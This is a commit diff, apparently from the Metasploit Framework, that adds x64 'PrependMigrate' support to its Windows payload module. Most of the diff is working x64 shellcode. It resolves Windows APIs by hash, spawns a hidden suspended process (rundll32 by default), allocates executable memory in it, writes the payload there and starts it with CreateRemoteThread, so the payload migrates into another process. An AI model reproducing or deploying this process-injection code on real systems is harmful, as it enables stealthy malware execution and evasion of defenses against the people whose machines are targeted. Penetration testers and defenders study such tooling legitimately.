Add X64 PrependMigrate support
parent
c97be836c3
commit
15268cae73
|
@ -72,8 +72,7 @@ module Msf::Payload::Windows
|
|||
test_arch = [ *(self.arch) ]
|
||||
|
||||
# Handle all x86 code here
|
||||
if (test_arch.include?(ARCH_X86))
|
||||
|
||||
if test_arch.include?(ARCH_X86)
|
||||
# PrependMigrate
|
||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
||||
payloadsize = "0x%04x" % buf.length
|
||||
|
@ -93,7 +92,7 @@ api_call:
|
|||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
|
@ -108,7 +107,7 @@ not_lowercase: ;
|
|||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
; Proceed to iterate the export address table
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
|
@ -285,6 +284,226 @@ EOS
|
|||
|
||||
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
|
||||
end
|
||||
# Handle all x86 code here
|
||||
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
|
||||
# PrependMigrate
|
||||
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
|
||||
payloadsize = "0x%04x" % buf.length
|
||||
procname = datastore['PrependMigrateProc'] || 'rundll32'
|
||||
|
||||
# Prepare instructions to get address of block_api into ebp
|
||||
block_api_start = <<EOS
|
||||
call start
|
||||
EOS
|
||||
block_api_asm = <<EOS
|
||||
api_call:
|
||||
push r9 ; Save the 4th parameter
|
||||
push r8 ; Save the 3rd parameter
|
||||
push rdx ; Save the 2nd parameter
|
||||
push rcx ; Save the 1st parameter
|
||||
push rsi ; Save RSI
|
||||
xor rdx, rdx ; Zero rdx
|
||||
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push rdx ; Save the current position in the module list for later
|
||||
push r9 ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov rdx, [rdx+32] ; Get this modules base address
|
||||
mov eax, dword [rdx+60] ; Get PE header
|
||||
add rax, rdx ; Add the modules base address
|
||||
mov eax, dword [rax+136] ; Get export tables RVA
|
||||
test rax, rax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add rax, rdx ; Add the modules base address
|
||||
push rax ; Save the current modules EAT
|
||||
mov ecx, dword [rax+24] ; Get the number of function names
|
||||
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||
add r8, rdx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec rcx ; Decrement the function name counter
|
||||
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||
add rsi, rdx ; Add the modules base address
|
||||
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor rax, rax ; Clear rax
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror r9d, 13 ; Rotate right our hash value
|
||||
add r9d, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop rax ; Restore the current modules EAT
|
||||
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||
add r8, rdx ; Add the modules base address
|
||||
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the drsired function...
|
||||
finish:
|
||||
pop r8 ; Clear off the current modules hash
|
||||
pop r8 ; Clear off the current position in the module list
|
||||
pop rsi ; Restore RSI
|
||||
pop rcx ; Restore the 1st parameter
|
||||
pop rdx ; Restore the 2nd parameter
|
||||
pop r8 ; Restore the 3rd parameter
|
||||
pop r9 ; Restore the 4th parameter
|
||||
pop r10 ; pop off the return address
|
||||
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||
push r10 ; push back the return address
|
||||
jmp rax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop rax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
EOS
|
||||
block_api_rbp_asm = <<EOS
|
||||
pop rbp ; Pop off the address of 'api_call' for calling later.
|
||||
EOS
|
||||
block_close_to_payload = ''
|
||||
|
||||
# Check if we can find block_api in the payload
|
||||
block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
|
||||
block_api_index = buf.index(block_api)
|
||||
if block_api_index
|
||||
|
||||
# Prepare instructions to calculate address
|
||||
rbp_offset = "0x%04x" % (block_api_index + 5)
|
||||
block_api_rbp_asm = <<EOS
|
||||
jmp close_to_payload
|
||||
return_from_close_to_payload:
|
||||
pop rbp
|
||||
add rbp, #{rbp_offset}
|
||||
EOS
|
||||
# Clear now-unneeded instructions
|
||||
block_api_asm = ''
|
||||
block_api_start = ''
|
||||
block_close_to_payload = <<EOS
|
||||
close_to_payload:
|
||||
call return_from_close_to_payload
|
||||
EOS
|
||||
end
|
||||
|
||||
#put all pieces together
|
||||
migrate_asm = <<EOS
|
||||
cld ; Clear the direction flag.
|
||||
#{block_api_start}
|
||||
#{block_api_asm}
|
||||
start:
|
||||
#{block_api_rbp_asm}
|
||||
; get our own startupinfo at esp+0x60
|
||||
add rsp,-400 ; adjust the stack to avoid corruption
|
||||
mov rcx,rsp
|
||||
add rcx,0x30
|
||||
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
|
||||
call rbp ; GetStartupInfoA( &si );
|
||||
|
||||
; ptr to startupinfo is in rax
|
||||
; pointer to string is in rcx
|
||||
jmp getcommand
|
||||
gotcommand:
|
||||
pop rsi ; rsi = address of process name (command line)
|
||||
|
||||
; create the process
|
||||
mov rdi,rsp ; get rsp again
|
||||
add rdi,0x110 ; Offset of empty space for lpProcessInformation
|
||||
push rdi ; lpProcessInformation : write processinfo here
|
||||
mov rcx,rsp
|
||||
add rcx,0x58
|
||||
push rcx ; lpStartupInfo : current info (read)
|
||||
xor rcx,rcx
|
||||
push rcx ; lpCurrentDirectory
|
||||
push rcx ; lpEnvironment
|
||||
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
|
||||
push rcx ; bInHeritHandles
|
||||
mov r9, rcx ; lpThreadAttributes
|
||||
mov r8, rcx ; lpProcessAttributes
|
||||
mov rdx, rsi ; lpCommandLine
|
||||
; rcx is already zero ; lpApplicationName
|
||||
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
|
||||
call rbp ; CreateProcessA( &si );
|
||||
|
||||
; allocate memory in the process (VirtualAllocEx())
|
||||
; get handle
|
||||
push 0x40 ; RWX
|
||||
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
|
||||
mov r8,r9 ; size
|
||||
xor rdx,rdx ; address
|
||||
mov rcx, [rdi] ; handle
|
||||
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
|
||||
call rbp ; VirtualAllocEx( ...);
|
||||
|
||||
; eax now contains the destination - save in ebx
|
||||
mov rbx, rax ; lpBaseAddress
|
||||
; WriteProcessMemory()
|
||||
push rsp ; lpNumberOfBytesWritten
|
||||
mov r9, #{payloadsize} ; nSize
|
||||
; pick up pointer to shellcode & keep it on stack
|
||||
jmp begin_of_payload
|
||||
begin_of_payload_return:
|
||||
pop r8 ; lpBuffer
|
||||
mov rdx, rax ; lpBaseAddress
|
||||
mov rcx, [rdi] ; hProcess
|
||||
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
|
||||
call rbp ; WriteProcessMemory( ...);
|
||||
|
||||
; run the code (CreateRemoteThread())
|
||||
xor rcx, rcx ; rdx = 0
|
||||
push rcx ; lpthreadID
|
||||
push rcx ; run immediately
|
||||
push rcx ; no parameter
|
||||
mov r9,rbx ; shellcode
|
||||
mov r8, rcx ; stacksize
|
||||
;rdx already equals 0 ; lpThreadAttributes
|
||||
mov rcx, [rdi]
|
||||
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
|
||||
call rbp ; CreateRemoteThread( ...);
|
||||
|
||||
;sleep
|
||||
xor rcx,rcx
|
||||
dec rcx ; rcx = -1
|
||||
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
call rbp ; Sleep( ... );
|
||||
|
||||
getcommand:
|
||||
call gotcommand
|
||||
db "#{procname}"
|
||||
db 0x00
|
||||
#{block_close_to_payload}
|
||||
begin_of_payload:
|
||||
call begin_of_payload_return
|
||||
EOS
|
||||
|
||||
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
|
||||
end
|
||||
end
|
||||
return (pre + buf)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue